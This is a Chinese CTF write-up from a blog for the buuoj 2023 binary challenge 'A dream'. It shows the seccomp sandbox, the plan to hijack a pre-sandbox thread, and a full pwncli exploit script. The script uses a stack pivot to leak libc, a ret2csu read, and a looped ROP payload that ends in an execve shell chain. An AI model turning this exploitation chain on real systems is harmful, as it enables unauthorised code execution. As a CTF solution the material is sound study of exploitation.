首页 > 其他分享 >buuoj-2023六月挑战赛|二进制专项-a dream

buuoj-2023六月挑战赛|二进制专项-a dream

时间:2023-06-05 14:01:14浏览次数:49  
标签:CurrentGadgets addr gift elf 0x00 buuoj ret 2023 dream

buuoj-2023六月挑战赛|二进制专项-A dream

总结

  • 练习了一下做题手感

题目分析

沙盒

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x000000e6  if (A == clock_nanosleep) goto 0009
 0008: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

逆向分析

image-20230605134349834

在开启沙盒前启动了一个线程,我们只需要劫持该线程的执行流即可。

利用思路

  • 首先栈迁移泄露libc地址,详细点击这里
  • 然后ret2csu,获得布置栈空间的能力
  • 构造循环read不断往线程栈输入payload

EXP

#!/usr/bin/e1nv python3
'''
Author:7resp4ss
Date:2023-06-04 14:38:39
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


abss = 0x404000 + 0xa00
pd_addr = abss + 0x400
CurrentGadgets.set_find_area(1,0)
s(flat(
    {
        72-8:[
            abss,
            0x4013AE
        ]
    }
))

s(flat(
    {
        0:[
            CurrentGadgets.pop_rdi_ret(),
            elf.got.puts,
            elf.plt.puts,
            CurrentGadgets.pop_rbp_ret(),
            pd_addr,
            0x4013AE
            
        ],
        72-8:[
            abss-0x40-8,
            CurrentGadgets.leave_ret()
        ]
    }
))
lb = recv_current_libc_addr(libc.sym.puts,0x100)
libc.address = lb
tstack = lb - 0x4118 - 0x50
leak_ex2(tstack)

fxxk_addr = pd_addr + 0x100

s(flat(
    {
        0:[
            0x40147a,
            0,1,0,pd_addr,0x1000,elf.got.read,
            0x401460,
        ],
        72-8:[
            pd_addr-0x40-8,
            CurrentGadgets.leave_ret()
        ]
    }
))
CurrentGadgets.set_find_area(1,1)
sl(flat(
    {
        56:[
            CurrentGadgets.read_chain(0,tstack,0x100),
            CurrentGadgets.pop_rbp_ret(),
            0x404e38-0x8,
            CurrentGadgets.leave_ret()
        ],
    }
))
pd = flat(
    {
        0:[
            [CurrentGadgets.ret()]*0x50,
            CurrentGadgets.execve_chain()
            ]
    }
)

for i in range(0x10):
    sleep(0.5)
    sl(pd)

ia()
#0x404e38

标签:CurrentGadgets,addr,gift,elf,0x00,buuoj,ret,2023,dream
From: https://www.cnblogs.com/7resp4ss/p/17457597.html

相关文章

  • 【2023-06-02】连岳摘抄
    23:59安慰,是在现实无法改变时,我们所希望拥有的或能提供的。它将我们扶起,令我们暂时不那么失望和灰心,慢慢地将生命的乐趣带回我们身上。                                            ......
  • 【2023华为云CodeArts Build 实战训练营】云端实战-玩转编译构建
    2023HDC华为开发者大会即将到来,一起跟小智提前体验华为云CodeArtsBuild请注册华为云账号并完成实名认证,实验过程中请使用Chrome浏览器完成相关操作。华为云账号注册步骤请参考:https://support.huaweicloud.com/usermanual-account/zh-cn_topic_0069252244.html实名认证操作步骤请......
  • 2023最新IntellJ IDEA诺依SpringCloud开发部署文档(保姆级别)
    目录若依RuoYiv3.6.2部署文档一、环境构建二、模块描述三、部署后端1、下载到本地。2、MySQL导入数据。3、Nacos修改(1)保证本地Nacos下载安装成功,修改本地Nacos的application.properties。(2)启动本地的Nacos.4、启动本地的Redis5、启动如下模块四、部署前端1、保证Node安装没有......
  • SSO2.0 13-20230604
           ......
  • 2023.5.7拷逝
    T1假设交换了\(a[i]\)和\(a[i+1]\),那么\(a[1...i-1]\),\(a[i+2...n]\)与这两个数构成的逆序对不变。只有\(a[i]\)和\(a[i+1]\)两个数构成的逆序对可能发生改变。如果\(a[i]<a[i+1]\),那么逆序对个数加\(+1\);如果\(a[i]=a[i+1]\),那么逆序对个数不变;如果\(a[i]>a[i......
  • LGOI 2023 游记
    前言比赛是深圳市龙岗区的小学生信息学奥林匹克竞赛,下面讲题时会概括题目,要原题的找我,如果要的人多会放在评论区。说真的,没想到疫情三年后的第一场比赛就这么水,8:30进去的,9:10出来的,40分钟光速AK。1.篮球赛比分给你一场篮球比赛的得分情况,如A1B3A2B1A3B3B1#表示A队分......
  • 2023.6.4拷逝
    #T1首先题目没有强制让我们一起算$k^{r(p)}+r^2(p)$,我们可以把它拆成两部分,一部分是$k^{r(p)}$,一部分是$r^2(p)$。考虑递推求解两个部分。先看第一个部分。设$n$的全排列的逆序对个数分别是$p_1,p_2,...,p_{n!}$,并假设我们已经知道$k^{r(p)}$的值。现在新增一个数$n......
  • 连网技术与网络管理2023-06-03 动态路由
    路由协议的类型主要可以分为以下三类:距离矢量协议(DistanceVectorProtocols):这类协议使用跳数(hopcount)作为衡量路径的度量标准。每个路由器仅知道自己相邻路由器的信息,并通过交换路由表来了解整个网络的路由信息。常见的距离矢量协议包括经典的RoutingInformationProtoco......
  • 云锵投资 2023 年 5 月简报
    2023年5月云锵投资团队月报:摘要本月量化基金策略业绩:中;本月量化股票策略业绩:良;(优良中差,表明全国排名四位分)云锵投资概述云锵量化投资包含量化投基、量化投股。量化投基使用自动化程序进行量化选基。其中包含了多个策略。本集合投资目标是通过选择优质基金,来获取更高的......
  • 2023-06-04:你的音乐播放器里有 N 首不同的歌, 在旅途中,你的旅伴想要听 L 首歌(不一定不
    2023-06-04:你的音乐播放器里有N首不同的歌,在旅途中,你的旅伴想要听L首歌(不一定不同,即,允许歌曲重复,请你为她按如下规则创建一个播放列表,每首歌至少播放一次,一首歌只有在其他K首歌播放完之后才能再次播放。返回可以满足要求的播放列表的数量。由于答案可能非常大,请返回它......